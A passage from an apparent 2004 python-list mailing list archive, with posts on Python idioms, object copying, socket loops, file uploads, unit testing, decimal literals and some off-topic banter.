>------------------------------------------------------------ # cotest.py # coroutine toy with arbitrary parameter passing def caller(gnak): if hasattr(gnak[0],'func_code'): gnak[0] = gnak[0](gnak[1]).next return gnak[0]() class CO(object): def __init__(self): self.tasks = {} self.ready = [] def add(self, fun): self.tasks[fun] = caller.__get__([fun, [(), {}]]) def call(self, fun, *args, **kw): t = self.tasks[fun] t.im_self[1][:] = [args, kw] self.ready.append(t) def run(self): while self.ready: try: self.ready.pop(0)() except StopIteration: pass ----------------------------------------------------------------------------- should work a little better. I was too hasty ;-/ Probably still buggy, but at least it's not dependent on the order of adding things, since it defers initialization of the generators inside caller gnak instance methods. Also hope I got rid of circular reference to gnak. (Still not tested worth worth a dang, no time. ;-) Regards, Bengt Richter From aleaxit at yahoo.com Wed Sep 22 04:33:53 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 22 Sep 2004 10:33:53 +0200 Subject: Somthing strange with list as default argument References: <415135a2$0$2388$626a14ce@news.free.fr> Message-ID: <1gkifri.7ahp471cvx1wdN%aleaxit@yahoo.com> Julien Sagnard wrote: > Hi all, > > When passing a list as default argument for a function, only one list is > created for all calls. Right. > I'm not found any reference of this. Is it a bug ? No, you just didn't look in the right places, for example in the Tutorial which is the recommended first reading for new Python users. Under 4.7.1 the Tutorial says: """ Important warning: The default value is evaluated only once. This makes a difference when the default is a mutable object such as a list, dictionary, or instances of most classes. """ The 'Important warning' is in bold, too... Alex From fumanchu at amor.org Tue Sep 21 18:16:32 2004 From: fumanchu at amor.org (Robert Brewer) Date: Tue, 21 Sep 2004 15:16:32 -0700 Subject: How can I pass objects in a web page? Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF8@exchange.hqamor.amorhq.net> Brian Bull: > Subject: Re: How can I pass objects in a web page? > passing the object from one static page to another via a > link. Is this possible? Cliff Wells: > The web, being stateless, usually requires that you > "rebuild the world" with every mouse click. "The web" may be stateless, but that doesn't mean web servers must be. Get a server with persistent processes, like Apache2+modpython, pass a hash key around your pages if needed, and save yourself both the disk I/O and the object-to-storage mapping inherent in DB or shelve solutions. Robert Brewer MIS Amor Ministries fumanchu at amor.org From albalmer at att.net Fri Sep 10 11:11:45 2004 From: albalmer at att.net (Alan Balmer) Date: Fri, 10 Sep 2004 08:11:45 -0700 Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <10k1a13rnpc2p94@corp.supernews.com> <4141b3bc$0$6910$61fed72c@news.rcn.com> Message-ID: <9mg3k0dbb1slu2pk304go75896bn117lc4@4ax.com> On Fri, 10 Sep 04 12:39:57 GMT, jmfbahciv at aol.com wrote: >In article <10k1a13rnpc2p94 at corp.supernews.com>, > Jeff Shannon wrote: >>jmfbahciv at aol.com wrote: >> >>>In article <10juvnrt88k4868 at corp.supernews.com>, >>> Jeff Shannon wrote: >>> >>proclaim that the government is horribly wrong, and I also happen to buy >>a copy of something like, say, The Anarchist's Cookbook... I'm now >>liable to be perceived by the government as a terrorist, and thus be >>subject to arrest and imprisonment with no charges being filed and no >>access to legal recourse. > >How did you get this conclusion? Has a US citizen bought the book, >only yakked about it and then was arrested and imprisoned >with no trail or arraignment? > The book is readily available from Amazon.com, and 145 of their customers have written reviews of it. We'll have to check how many of them are in jail in Guantanamo ;-) One reviewer recommended a companion book - "Home Workshop Explosives", also available from Amazon. Also available on DVD. I see a lot of second-hand opinions on the Patriot Act. Hardly any of them have actually read it. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From bokr at oz.net Mon Sep 6 12:02:52 2004 From: bokr at oz.net (Bengt Richter) Date: 6 Sep 2004 16:02:52 GMT Subject: Fastest way to loop through each digit in a number? References: Message-ID: On Mon, 06 Sep 2004 04:56:54 +0200, Rune Strand wrote: >Hi, >If I have a lot of integers and want do something with each digit as >integer, what is the fastest way to get there? > How many is "a lot" ? And what are the bounds on your integers' values? ;-) Keep in mind that whatever you are computing, it is a mapping from imput to output, and sometimes it pays to implement a subproblem literally as a mapping. >Eg. Make 12345 into an iterable object, like [1,2,3,4,5] or "12345" E.g., if you had a bazillion numbers that were all positive and five digits max, then your fastest mapping from number to digit sequence would probably be a precomputed list or tuple with data like (untested): digitseqs = [[0],[1],[2],...[8],[9],[1,0],[1,1],[1,2]... [1,2,3,4,5],[1,2,3,4,6], ... [9,9,9,9,9]] and then there would be no computation of the digits in for d in digitseqs[number]: foo(d) If your numbers are bigger, you can still use the same technique, chunkwise, e.g., if you know you have positive 32-bit integers, that's 0<= number <= 1073741824 if number >= 1000000000: foo(1) number -= 1000000000 low5 = number % 100000 for d in digitseqs[number//100000]: foo(d) for d in zdigitseqs[low5]: foo(d) (zdigitseqs are all 5-digit sequences with leading zeroes included, [[0,0,0,0,0],[0,0,0,0,1], ...]) If your numbers are unbounded, you can still do something along these lines, but numbers have to be _huge_ before you gain more than you lose in complication. You could wrap the above in a function like def fooit(number, foo=foofunc): ... but calls are relatively expensive in time, so you may want to forego the nicer style. Obviously 100k lists of lists take a fair chunk of memory, and take a little time to pre-compute, but it may pay off if you have REALLY "a lot" of input numbers ;-) > >(Btw: What is the English term for this process; itemize? tokenize? >digitize? sequence?) > >Some examples: > >n = 12345 > >#1. >s = str(n) >for i in s: > d = int(i) > foo(d) > >#2. >nl = map(int, str(n)) >for d in nl: > foo(d) > >#3. >nl = [int(x) for x in str(n)] >for d in nl: > foo(d) > >Of those, I have, a bit surprised, found that #1 is the fastest, and >that #2 using map() is faster than #3 using list comprehension. I also >registered that that repr(n) is about 8% faster than str(n). > >Are there faster ways? Is it possible to avoid casting types? > >Thanks for all answers! > I haven't timed the above (or even tested it), but your gains (if any ;-) will depend on what you can assume about your input data. Regards, Bengt Richter From ville at spammers.com Sat Sep 25 03:36:17 2004 From: ville at spammers.com (Ville Vainio) Date: 25 Sep 2004 10:36:17 +0300 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> Message-ID: >>>>> "Jeff" == Jeff Shannon writes: Jeff> Ville Vainio wrote: >>>>>>> "Richard" == Richard Hanson writes: >>>>>>> >> Richard> undecidable things left unsaid for now. It is a commonly Richard> accepted thesis that the universe is evolving following Richard> some, possibly ultimately unknowable, immutable set of Richard> laws. Humans *do* seem to do >> >> Is it? For some reason or another, many seem to believe that quantum >> mechanics provides some blissfull exit from the immutable set of laws >> (and deterministic universe). It's a place where God throws dice every >> time a particle hits another. >> Jeff> Ah, but quantum mechanics are still a (supposedly) immutable Jeff> set of laws -- they are nondeterministic laws, to be sure, Jeff> but that doesn't prevent them from being laws. Quantum Jeff> uncertainty follows a specific set of rules, even if we Jeff> haven't figured out what all of those rules are, and even if Jeff> those rules are expressed in probabilities. If one But aren't they probabilities just because we haven't understood them? A thing like "probability" just can't exist in the ultimate Reality. No lab equipment can prove the absence of further mechanisms directing the phenomena that have been observed and "proved" to be nondeterministic. Jeff> were to believe that the universe did not follow an Jeff> immutable (or nearly so) set of laws, then one would also Of course the "fundamental" laws are immutable, unlike the derived laws that have been observed and we know about. Jeff> the universe operates. God may throw dice, but if we're Jeff> careful we can reconstruct the rules of the game He's Jeff> playing. :) Not very likely, considering that the fundamental laws are quite probably well beyond time, space and all the other cozy stuff ;-). -- Ville Vainio http://tinyurl.com/2prnb From ajsiegel at optonline.com Sun Sep 5 08:37:56 2004 From: ajsiegel at optonline.com (Arthur) Date: Sun, 05 Sep 2004 12:37:56 GMT Subject: Method returning new instance of class? References: <4Jh_c.4378$Wv5.950@newsread3.news.atl.earthlink.net> <4139a87a$0$30204$9b622d9e@news.freenet.de><2ok_c.5453$Vl5.4469@newsread2.news.atl.earthlink.net> Message-ID: "Jp Calderone" wrote in message news:mailman.2870.1094319247.5135.python-list at python.org... > Arthur wrote: > > "Martin v. L=F6wis" wrote in message > > news:4139a87a$0$30204$9b622d9e at news.freenet.de... > > = >>Copy.deepcopy doesn't work for more > > obscure reasons. I get an error message generating up from vpython when I > > try to change an attribute of the object on the new instance - though I = > am > > interacting with it in the same manner that works fine when performed on = > the > > original instance. > > = > > > But do you see any reason why this might be? > > = > It sounds terribly logical. Copying objects is extremely difficult = > > to do correctly. There is no way to do it generically and correctly. = > > Make the copy too shallow, and you get unwanted shared state. Make the = > > copy too deep and the new object is useless. How do you decide how deep = > > is deep enough? You can't, at least not without intimate knowledge of = > > the object you're dealing with. > > Once you figure out exactly how deep you need to make your copy, you = > > can tell copy.deepcopy() how to behave with the copy_reg module. Of = > > course, since this knowledge is quite closely tied to VPython, it should = > > really be *part* of the VPython package, so that changes to the = > > internals of VPython can be made right alongside changes to the code = > > which knows how to copy its objects. Well a quick look at copy_reg and I backed away. Particularly since I am accessing the internet from a dial-up at the moment and am not in a position to do the research necessary to get a handle on it. The module docs are much too sketchy here for someone starting with this from where I am starting. And as you say, there looked like I might need to get at VPython internals to do it correctly. However I did realize, in reading the docs, that overriding __copy__ might be all I needed to do. Really what I was looking for was a copy of the original instance with a fresh VPython object on which to operate. Conceptually I am doing a non-destructive transformation of the instance, with the transformed object the same, exscept at a transformed location. Something like this seemed to work: def __copy__(self): newcopy=copy.deepcopy(self) newcopy.vpythonobject= return newcopy But before getting too far into testing whether this accomplished the copy I was looking for (perhaps the success was more apparent than real, and the advice to resort to copy_reg is more unavoidable than I understand) I realized that I had misconceived something more fundamental. That the normal instance creation process involves registerting the new instance with the app in various ways, and that a copy won't accomplish this. That is until wrote the last paragraph, and realized that I might be able to throw the registration routines into the __copy__ method. Hmmm. Let's try. Art From aleaxit at yahoo.com Mon Sep 13 18:40:34 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 00:40:34 +0200 Subject: How to change the superclass of an instance? References: Message-ID: <1gk2v0c.1ewjpue1sbq5exN%aleaxit@yahoo.com> Alexander Stante wrote: ... > An other idea I had would be wrapping a class around the Surface > returned by display.set_mode() and then intercepting attribute > references with __getattr__ on that class and if not found in class or Best (but, only attributes not found otherwise go to __getattr__, so, no need for you to duplicate such checks). > instance, delegate them to the Surface. I think this way it would look > liked the wrapping class is a subclass of Surface. But Surface don't > have a __dict__ and I don't know an other way to call a function by his > name. class generic_wrapper_base(object): def __init__(self, wrappee): self.__dict__['_w'] = wrappee def __getattr__(self, n): return getattr(self._w, n) def __setattr__(self, n, v): setattr(self._w, n, v) def __delattr__(self, n): delattr(self._w, n) No need for the wrappee to have a __dict__: getattr, setattr and delattr are the built-in functions you need. Happy wrapping!-) Alex From aleaxit at yahoo.com Tue Sep 7 03:24:07 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 7 Sep 2004 09:24:07 +0200 Subject: How to actually write a program? References: Message-ID: <1gjqkht.105qlbgiv2cfvN%aleaxit@yahoo.com> Alexander Hoffmann wrote: ... > Please reflect on your goals. Why do you want to write programs, what are they > meant to be used for in the end ? If you want to write very small programs to > be used like shell scripts on your private Linux box, then never spend your > time with UML, extreme programming, unit tests and all that stuff. No: unit tests SCALE -- they're just as important and wonderful for tiny programs as for huge ones. XP is a very specific approach which only makes sense for a _team_, but tests are universally good. > is what you should utilize PARTS of UML for. I strongly recommend you to look > at static structure diagrams, use cases and time line diagrams. The other Alistair Cockburn's "Writing Effective Use Cases" suggests excellent alternatives to UML "use cases", with a strong emphasis on what works. (Like all books I've seen by Cockburn, it's quite advanced, even though very readable it's really aimed at people with real-world experience -- much as I've just said elsewhere on this thread of Ambler's books). > Once you are familiar with basic Python programming and with application > design (e.g. UML), then the last step I recommend to become a *nearly* (who > really claims to be completely) perfect developer is to understand the > importance of testing. When you are implementing a real big application you > are lost without it. I am using unit tests and they help me very much. With > these you can test first very small parts of your application and then later > combine the test to cover more and more of the whole program. Indeed there is > no need to argue for unit testing (when writing really big applications): try > it and you will appreciate it ! Right -- and you'll appreciate it in SMALL applications just as much, IMHO. Alex From has.temp2 at virgin.net Sat Sep 25 17:56:33 2004 From: has.temp2 at virgin.net (has) Date: 25 Sep 2004 14:56:33 -0700 Subject: Clickable (wx)python app in OS X References: <26658f61.0409250605.32f18ba2@posting.google.com> Message-ID: <69cbbef2.0409251356.21614b2b@posting.google.com> desiredusername at gmail.com (PhysicsGenius) wrote in message news:<26658f61.0409250605.32f18ba2 at posting.google.com>... > So, how do I create a clickable icon that will launch my wxPython > program? http://pythonmac.org/wiki/BundleBuilder From bulliver at badcomputer.no-ip.com Thu Sep 9 21:07:44 2004 From: bulliver at badcomputer.no-ip.com (Darren Kirby) Date: Thu, 9 Sep 2004 18:07:44 -0700 Subject: Best way to get ip address In-Reply-To: <20040909231916.GA9380@grulic.org.ar> References: <200409091207.55336.bulliver@badcomputer.no-ip.com> <20040909231916.GA9380@grulic.org.ar> Message-ID: <200409091807.51238.bulliver@badcomputer.no-ip.com> quoth the John Lenton: > this is more convoluted, and depends on a third party, but I find it's > the most reliable way to find out what you seem to be wanting: > > re.findall('[0-9.]+', > urllib.urlopen('http://checkip.dyndns.org/').read())[-1] > > there are several apps out there that depend on checkip.dyndns.org, > and it's a published service, so it shouldn't be changing too often. > > HTH. This is funny. I just spent the last hour putting together this: def getIpAddress(): command = "lynx -dump http://whatismyip.com | awk '/Your/ {print $4}'" x = commands.getstatusoutput(command) if x[0] != 0: ip = '127.0.0.1' else: ip = x[1] return ip Same principle, but relies on a third party and two system commands. I think I will re-write it to use urllib as in your example. Thanks everyone for the help...I think I've got it now. -d -- Part of the problem since 1976 http://badcomputer.no-ip.com Get my public key from http://keyserver.linux.it/pks/lookup?op=index&search=bulliver "...the number of UNIX installations has grown to 10, with more expected..." - Dennis Ritchie and Ken Thompson, June 1972 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From carribeiro at gmail.com Mon Sep 20 18:12:17 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 20 Sep 2004 19:12:17 -0300 Subject: up with PyGUI! In-Reply-To: <1095378815.31957.166.camel@devilbox.devilnet.internal> References: <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com> <1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com> <1gk7oh4.1lgmrxo1pjcaw5N%aleaxit@yahoo.com> <1095378815.31957.166.camel@devilbox.devilnet.internal> Message-ID: <864d370904092015125c75527f@mail.gmail.com> On Thu, 16 Sep 2004 16:53:35 -0700, Cliff Wells wrote: > ... $15k a year might > be decent wages for a Ukrainian developer (I'm not certain), but in the > US you'd have to choose between food and shelter at that point. For a Brazilian developer, that's roughly translated in R$ 3.000,00 (three thousand "reais"), which is a very good salary -- not a "great" salary in S?o Paulo, but well above average -- and well into the lower-to-middle management income wage in other cities. p.s. For most comparison purposes, you can double or triple the salary in Brazil. Some people use worldwide available commodities such as Coke or Big Macs as a comparison tool in this regard, and this figure will give you a good approximation (one can of Coke costs about 40 cents of a dollar here, a big mac costs around US$ 1.60, just check the results). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From jmfbahciv at aol.com Fri Sep 3 06:59:11 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Fri, 03 Sep 04 10:59:11 GMT Subject: Xah Lee's Unixism References: <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> Message-ID: <41386155$0$19713$61fed72c@news.rcn.com> In article , Morten Reistad wrote: >In article <41376B82.C6A202FC at yahoo.com>, >CBFalconer wrote: >>Peter Hansen wrote: >>> Brian {Hamilton Kelly} wrote: >>>> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote: >>> >>>>> There's a story about why railroad tracks are spaced the way they are. >>>> >>>> Is this the one about two Roman horses' arses? If so, it also accounts >>>> for the physical dimensions of the Space Shuttle's boosters. >>> >>> A quick search using Google will show that while there is a >>> certain amount of truth in the original story, most of the >>> details are wrong, and the final bit about the booster rockets >>> is unsubstantiated. But it's still a cute story. >> >>I know nothing about those stories, but it seems reasonable to me >>that the boosters would have been designed to be transportable by >>railroad, which ties their dimensions to track gauge. > >ISTR there was some tunnel NASA had to relate to if they wanted >to move the goods from production to launch. But that may have been >earlier products. > >But rail tunnels are also descended from the same asses, so to speak. There was a city getting restored in Turkey that JMF and I visited; I cannot remember its name other than it's in the New Testament written by Paul. It was one of most fascinating places I'd ever been other than aquariums and zoos. There are ruts in the stone-block pavements caused by running carts to/from harbor/city. We were told that these ruts were worn down by usage. I always wanted to get a big stone and spend 5 min/day rubbing it to see if the claim was true. /BAH Subtract a hundred and four for e-mail. From aleaxit at yahoo.com Sun Sep 26 05:09:15 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 11:09:15 +0200 Subject: Why not FP for Money? References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> Message-ID: <1gkpv6s.esswwj1eyppghN%aleaxit@yahoo.com> Andrew Dalke wrote: ... > Suppose Python3.0 goes the other way and uses decimal as > the native number type and requires some suffix for floats? > > x = 3.04 # this is a decimal > y = 3.14159f # this is an IEEE 754 float I'd like that. But, playing devil's advocate: there would be no harm done if 3.04d meant just the same thing as 3.04 without a suffix. So, e.g., Python 2.5 would let you spell out explicitly 3.04d or 3.04f. If you didn't, writing just 3.04, that would currently default to the same as 3.04f for backwards compatibility. In Python 3.0 the 3.04d and 3.04f forms would remain and bare 3.04 would change meaning -- perhaps it might be arranged to go through a time where at least optionally warning would be given (not by default, but with a -W switch or so -- in "late" Python 2.* warning that 3.04 changes meaning in Python 3.0, in early Python 3.* warning that 3.04 used to mean something different in Python 2.*). So, even though I don't particularly love the proposed syntax, it seems that at least a good migration path would exist. > > But you sure find it more convenient to type (1.12+2.9i), don't you? > > My point is that I find it more convient that most > objects get created via the same call-style interface. > I would find > > s = url"http://www.python.org/" > > more convenient to type than > > s = urllib.urlopen("http://www.python.org/").read() > > Doesn't mean I want it. While I unfortunately don't think we can get there from here, I sometimes toy with the idea of making some form be taken by the parser as equivalent to (stringifiedcontent), basically giving an alternative syntax for calls that's suitable for literals -- with the semantic twist that the call happens during parse time and the must be known at that time in some suitable namespace. The problem is determining what separator is suitable, how does one tell when the content ends, etc. Strawman proposal to show concrete examples: let's have a 'binary @' like unary @ is used for decorators, and say content ends at nonescaped whitespace. Then one could have: x = d at 3.14 + d at 0.21 meaning x = d('3.14') + d('0.21') with the calls done at compile-time if 'd' is previously injected into some suitable namespace (not __builtins__, I think; rather, some other special module which is not normally accessed in the usual runtime lookup rules, so that such names can't be accidentally trampled). Similarly, s=url at http://www.python.org/ would call such a 'url' named factory, which in turn could urlopen and read, or whatever. The alternative syntax is also attractive for most uses, it matches existing u'foo' and r'fee' uses, but has the unfortunate connotation of 'stringiness' which might make d'3.14' not quite as attractive as d at 3.14 (personally I like it better, but that's just because the @ splat is SO ugly;-). Yet other alternatives might include parentheses-like separators to indicate compiletime rather than runtime call (and implied stringification, lexically speaking), say d{3.14} and url{http://www.python.org}. One way or another, what I really dream of is an _extensible_ syntax to get arbitrary factories with names called at compiletime on string contents, once the names have been registered in the namespace dedicated to that task. Yeah, I'm aware that this might be abused to make the equivalent of a full-fledged macro system, with the attendant problems. I've toyed also with hypotheses on how to ameliorate that, e.g. making the dedicated namespace "write-once" -- if any code ever tries rebinding a name in that space, it gets an exception. But for all these musings, "we can't get there from here" IS quite possible. Alex From aleaxit at yahoo.com Thu Sep 23 09:38:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 23 Sep 2004 15:38:04 +0200 Subject: detecting variable types References: <4151f867$1@nntp0.pdx.net> Message-ID: <1gkkomd.1sbiw5015dim9zN%aleaxit@yahoo.com> Scott David Daniels wrote: ... > if isinstance(vbl, (string, unicode)): Nope! Use isinstance(vbl, basestring) instead. basestring exists for that one and only reason... besides str (not 'string') and unicode, any user-coded type that _wants_ to be "treated as a string for all intents and purposes" may choose to inherit from basestring instead of object (it's supposed to get no effect whatsoever from that _except_ from code that does this specific kind of typechecking specifically). Alex From abra9823 at mail.usyd.edu.au Wed Sep 15 12:49:13 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Thu, 16 Sep 2004 02:49:13 +1000 Subject: socket programming Message-ID: <1095266953.414872898f601@www-mail.usyd.edu.au> hi! on my client side, i have a socket that sends and then receives the code is s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((PDA_ADDRESS, PDA_PORT)) s.send("persona=") s.send(persona) s.send("\n") str = s.recv(1024) data="" while len(str) != 0: data += str str = s.recv(1024) print data on my server side i create the serversocket, listen, get the client socket and the client socket receives the data as follows (clientsocket, address) = serversocket.accept() str = clientsocket.recv(256) data="" while len(str) != 0: data += str str = clientsocket.recv(256) the problem is when my client finished sending and waits to receive, on the server side, it still stays in the while loop waiting to receive more data. how do i stop that? thanks ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From elbertlev at hotmail.com Mon Sep 13 23:00:41 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 13 Sep 2004 20:00:41 -0700 Subject: Ranting about the state of Python IDEs for Windows References: Message-ID: <9418be08.0409131900.4d2a53ef@posting.google.com> TextPad - has all you are looking for, including project manager. http://www.textpad.com From alexis.roda at urv.es Tue Sep 14 10:33:54 2004 From: alexis.roda at urv.es (Alexis Roda) Date: Tue, 14 Sep 2004 16:33:54 +0200 Subject: Style conventions for Python code In-Reply-To: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk> References: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk> Message-ID: <41470152.20701@urv.es> Will McGugan wrote: > Hi, > > Is there a recommended coding style for Python documented anywhere? > Fortunately there will be no endless debates on proper indentation and > where to put braces ;) But I wonder if there is explicit 'Pythonic' > naming conventions and ways of structuring code.. http://www.python.org/peps/pep-0008.html HTH -- //// (@ @) ----------------------------oOO----(_)----OOo-------------------------- <> Ojo por ojo y el mundo acabara ciego /\ Alexis Roda - Universitat Rovira i Virgili - Reus, Tarragona (Spain) ----------------------------------------------------------------------- From aleaxit at yahoo.com Wed Sep 8 13:03:07 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 19:03:07 +0200 Subject: Import into specified namespace References: Message-ID: <1gjt62r.16m0vef1e8ujm4N%aleaxit@yahoo.com> Fritz Bosch wrote: ... > __dict__ is a readonly attribute, so I can't change it after > the import, i.e. the following doesn't work: > > >>> import sys > >>> mydic = MyModuleDict() > >>> mydic.update(sys.__dict__) > >>> sys.__dict__ = mydic > Traceback (most recent call last): > File "", line 1, in ? > TypeError: readonly attribute Why not sys.modules['sys'] = mydic instead of trying to rebind sys.__dict__? You can't affect those other modules which have ALREADY imported sys, yourself included (but as for you, you can remedy that easily -- sys = sys.modules['sys'] = mydic...), but otherwise you should be OK. sys.__dict__.update(mydic) as the last statement might also be an alternative (and if it works for your purposes, it's cleaner than rebinding sys.modules['sys']!-). Alex From vze4rx4y at verizon.net Thu Sep 2 17:26:22 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Thu, 02 Sep 2004 21:26:22 GMT Subject: using generators for event handling in python. References: Message-ID: <2eMZc.1265$ZS6.396@trndny07> > I've been looking at generators from the context of event oriented web > application development. I was thinking of submitting a version of > http://www.wiretooth.com/eventhub_recipe.html as a recipe for the python > cookbook. It's somewhat long for a recipe. Do you have more compact code that conveys the essense of your approach? Raymond Hettinger From aleaxit at yahoo.com Wed Sep 1 08:38:21 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 14:38:21 +0200 Subject: sys.stdin.readline() References: Message-ID: <1gjfvai.176dlb11kc7uhvN%aleaxit@yahoo.com> wrote: ... > > more than one line. You could write a "oneliners shell" that ... > Check out PyOne[1]. It's a somewhat more sophisticated implementation of > this idea. > > [1] http://www.unixuser.org/~euske/pyone/ Looks very nice, and very worth looking into if one is into oneliners; thanks for pointing it out! Alex From jjl at pobox.com Mon Sep 13 16:08:45 2004 From: jjl at pobox.com (John J. Lee) Date: 13 Sep 2004 21:08:45 +0100 Subject: File upload by urllib2 References: <6f402501.0409130218.2901e871@posting.google.com> Message-ID: <87r7p60w4y.fsf@pobox.com> fuzzyman at gmail.com (Michael Foord) writes: > Does anyone know how to do a 'file upload' using urllib2 ? > There is an example of doing file upload using httplib - on > activestate python cookbook. [...] Actually, more relevant than my previous post: http://www.google.com/groups?threadm=cpa4qmi9h3i.fsf%40cabernet.nelson.monkey.org Modifying the recipe that's pointed to from that thread very slightly for urllib2 (untested!): def post_multipart(url, fields, files): content_type, body = encode_multipart_formdata(fields, files) headers = {'Content-type': content_type, 'Content-length': str(len(body))} req = urllib2.Request(selector, body, headers) r = urllib2.urlopen(req) return r.file.read() If you get trouble, note my comment in that thread about bad servers. John From pfortin at pfortin.com Mon Sep 13 11:06:47 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Mon, 13 Sep 2004 11:06:47 -0400 Subject: Not able to read blank lines and spaces on a small text file References: <2e569af.0409130648.a6aa116@posting.google.com> Message-ID: <20040913110647.6f64bcb0@gypsy.pfortin.com> On 13 Sep 2004 07:48:14 -0700 Ruben wrote: > I am trying to read a small text file using the readline statement. I > can only read the first 2 records from the file. It stops at the blank > lines or at lines with only spaces. I have a while statement checking > for an empty string "" which I understand represents an EOF in Python. > The text file has some blank lines with spaces and other with blanks. An empty record is not the same as "no record"... Change this: > while record != "": to: while record: From claird at lairds.us Wed Sep 22 11:08:04 2004 From: claird at lairds.us (Cameron Laird) Date: Wed, 22 Sep 2004 15:08:04 GMT Subject: Development engineering (was: python ides) References: <1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com> Message-ID: <4tg822-bmd.ln1@lairds.us> In article <1gkipxd.1ibrh95fcvdotN%aleaxit at yahoo.com>, Alex Martelli wrote: . . . >I don't need one often, but sometimes one DOES run into something >sufficiently weird -- and when it happens it can take days to sort it >out. Case in point: rewriting the web layer for a client's multi-tier >application framework, to use twisted and nevow instead of Webware, we >were occasionally getting the weirdest 'recursion limit exceeded' >tracebacks -- and if you've ever tried to divine what's going on from a >Twisted traceback with a few dozen deferreds in play, some intercepting >errors and some not, etc, etc, you know that isn't comfortable. > >Two of us trashed around for 2-3 days trying all the usual things. >Finally one of the GUI specialists in another subteam of the same >framework development team offered to help us with WingIDE. He's the >one who does custom layout widgets, weird super-nested-lists-and- >trees-widgets, etc etc, for the cross-platform GUI-clients of that >framework, on top of Qt/PyQt etc, and claims that without that debugger >he could never solve the weird and delicate issues that continually >arise in his work. > >Be that as it may, in 2-3 hours we were on top of the problem: there is >an intrinsic, undocumented limit to how many items you can feed to a >newvow:sequence renderer, if those items are deferreds, because they all >get chained into a linked list whose __del__, at the end, proceeds _by >recursion_. So, if you have too many items in the sequence, it's >recursion-limit-exceeded time, and the dance of bouncing exception >handlers starts playing (in a too-deep-nesting situation, too). Once >the problem was identified the solution was trivial (as it generally >is): there was really no justification for showing a thousand 'hits' of >some search as one humungous table in a single webpage anyway... we >simply hadn't bothered yet with implementing the code to slice the hits >into multiple pages and let the user page back and forth in the browser. >So we did, ensuring no single sequence of hundreds of deferreds could >ever be rendered in one gulp, and the problem disappeared. > >But, that debugger really DID save our bacon on that occasion. I'm not >sure how it managed to get control at the right time within that thicket >of exception handlers and let us examine hundreds of nested stack frames >looking for the underlying cause (I know the cause sounds trivially >obvious in retrospect, but THAT, too, is par for the course... one of >the hardest bugs to find in my career, back in Fortran days, boiled down >in the end to an .LT. being used where an .LE. should have been... a >*one*-*character* fix after days of fighting to find the right place out >of over a million lines of code in the system...!-). But manage it did. >Next time we spend more than 2-3 hours chasing some bug that just won't >show up, I'm going to go and ask that WingIDE expert user for some >little help!-) . . . I have an intense interest in this narrative, and little ability yet to articulate why. Excellent developers, among other things, diagnose accurately and quickly; slightly less (I claim) differentiating is their creativity at remedies. I have a large, large theory that I summarize as, "Cut your losses". The local application is that one big win for engineering productivity in software development is avoidance or management of those it-took-*months*-to-track-down-this- simple-problem situations. I've sure lived through them; in fact, I'm dealing with three different ones that I know right now. They are humbling, indeed. I've lived through quite a few, as I just wrote. I do *not* particularly associate their resolution, in my memories of first-hand experience, with debuggers. Among other things, this makes me wonder if I'm missing out on the capabilities of debuggers. I don't know what the answers are. In this area, I'm still wrestling with what questions to ask. This stuff *fascinates* me, though, in utter contrast to what I consider the utter irrelevancies of which editor to use, which ... From ej Tue Sep 28 17:21:43 2004 From: ej (Erik Johnson) Date: Tue, 28 Sep 2004 15:21:43 -0600 Subject: execl() and inheritied streams References: Message-ID: <4159d4a4$1@nntp.zianet.com> I eventually figured out that that was basically what was happening, but didn't know how to set them at a lower level and wasn't having much luck searching documentation on keywords. Thanks for your reply! :) -ej > Replacing sys.stdout, sys.stderr, and sys.stdin only effects code which goes through the sys module to find those streams. The new process you execl() is very unlikely to do this, since your instance of the sys module will be destroyed by the execl() call :) Instead, you need to twiddle file descriptors: > > f = file('out.txt', 'a') > os.dup2(f.fileno(), sys.stdout.fileno()) > os.dup2(f.fileno(), sys.stderr.fileno()) > > Now 1 and 2 (stdout and stderr, respectively) refer to a different file object down in the file descriptor table, far away from your process. These survive execl() and so can have an effect on the executed process. > > Jp From michele.petrazzo at TOGLIunipex.it Wed Sep 29 08:03:21 2004 From: 